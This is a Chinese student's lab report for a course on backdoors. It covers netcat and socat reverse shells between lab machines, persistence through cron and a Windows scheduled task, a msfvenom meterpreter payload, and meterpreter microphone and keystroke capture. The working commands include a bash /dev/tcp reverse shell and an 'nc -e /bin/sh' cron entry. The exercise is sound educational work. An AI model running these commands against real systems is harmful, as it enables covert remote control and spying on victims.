1. 后门原理与实践实验说明及预备知识
一、实验说明
-
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
-
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
二、基础问题回答
-
问:例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载东西或打开网页时进入系统。
-
问:例举你知道的后门如何启动起来(win及linux)的方式?
- win:开机启动或隐藏按钮(?)
- linux:通过crontab设定定时启动。
-
问:Meterpreter有哪些给你映像深刻的功能?
- 可以照相……还有彩蛋挺可爱的。
-
问:如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,查看任务启动项。
2. 常用后门工具
2.1.1 Mac获取Linux Shell
- 主控端/服务端MAC运行指令如下,8888是nc监听的端口号。
MacBook-Pro:$ nc -l 8888
-
查到主机ip地址地址为
172.20.10.5
-
受控端/客户机运行指令如下。其中 192.168.1.106 需要更改为上一步中MAC主机的IP。8888就是上一步中的端口号
root@KaliYL:/var/www/html# bash -i >& /dev/tcp/192.168.1.106/8888 0>&1
nc IP Port -e /bin/sh
可以达到同样的效果
- MAC主机会显示Linux的命令行提示符,并运行任何Linux指令。
2.1.2 Linux获取Mac Shell
-
ifconfig
-
nc -l -p 8888
指令,Linux启动监听
- Mac连接Linux
3.Linux获取Mac Shell
****************************************************************************************************
以下借用了5215宣言同学的物理机完成
****************************************************************************************************
2.2.1 Windows获得Linux Shell
- 在Windows下使用
ipconfig
查看本机IP(192.168.245.1):
- 使用
ncat.exe
程序监听本机的5224端口:
- 在Kali环境下连接Windows主机:
2.2.2 Linux获得Windows Shell
- 在Kali环境中使用
ifconfig
查看IP(192.168.46.129):
- 使用
nc
指令监听5224端口:
- 在Windows下连接Kali主机:
2.3 使用nc传输数据
- Windows下监听5224端口:
- Kali下连接到Windows的5224端口:
- 建立连接之后,就可以传输数据了:
3. Meterpreter
3.1 使用netcat获取主机操作Shell,cron启动
- 在Windows系统下,监听5224端口:
-
用crontab -e指令编辑一条定时任务
-
在最后一行添加01 * * * * /bin/netcat 172.16.8.28 5303 -e /bin/sh,意思是在每个小时的第01分钟反向连接Windows主机的5224端口:
- 到时间后,可获取Kali的shel:
3.2 使用socat获取主机操作Shell, 任务计划启动
-
预备知识:
socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。 -
实践过程:
-
在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”。在任务计划程序创建任务,填写任务名称,并新建一个触发器。
-
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5303 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exe的stderr重定向到stdout上:
-
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
-
此时,在Kali环境下输入指令socat - tcp:172.30.4.253:5303,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5215端口,此时可以发现已经成功获得了一个cmd shell:
-
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
- 创建可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.46.129 LPORT=5224 -f exe > 20155224_backdoor.exe
-
传输这个文件,方法和传字符串相同,命令如下:(有先后顺序,接收方要先意识到要接收文件了)
-
Win7:ncat.exe -l > 20155224_backdoor.exe
-
kali:nc 192.168.199.149 5224 < 0155224_backdoor.exe//这里的地址是Win7的地址
-
-
遇到问题:kali输入指令后无反应。
- 再三确定ip地址无误后,直接把文件拷过去了……解决。
-
在kali端使用msfconsole指令进入msf控制台,设置LPORT、LHOST军与生成可执行文件相同,设置payload。执行exploit
-
在win7端运行之前传输过去的程序。攻击成功。
3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- record_mic指令获取音频:
- keyscan_start指令记录击键的过程,keyscan_dump指令读取击键的记录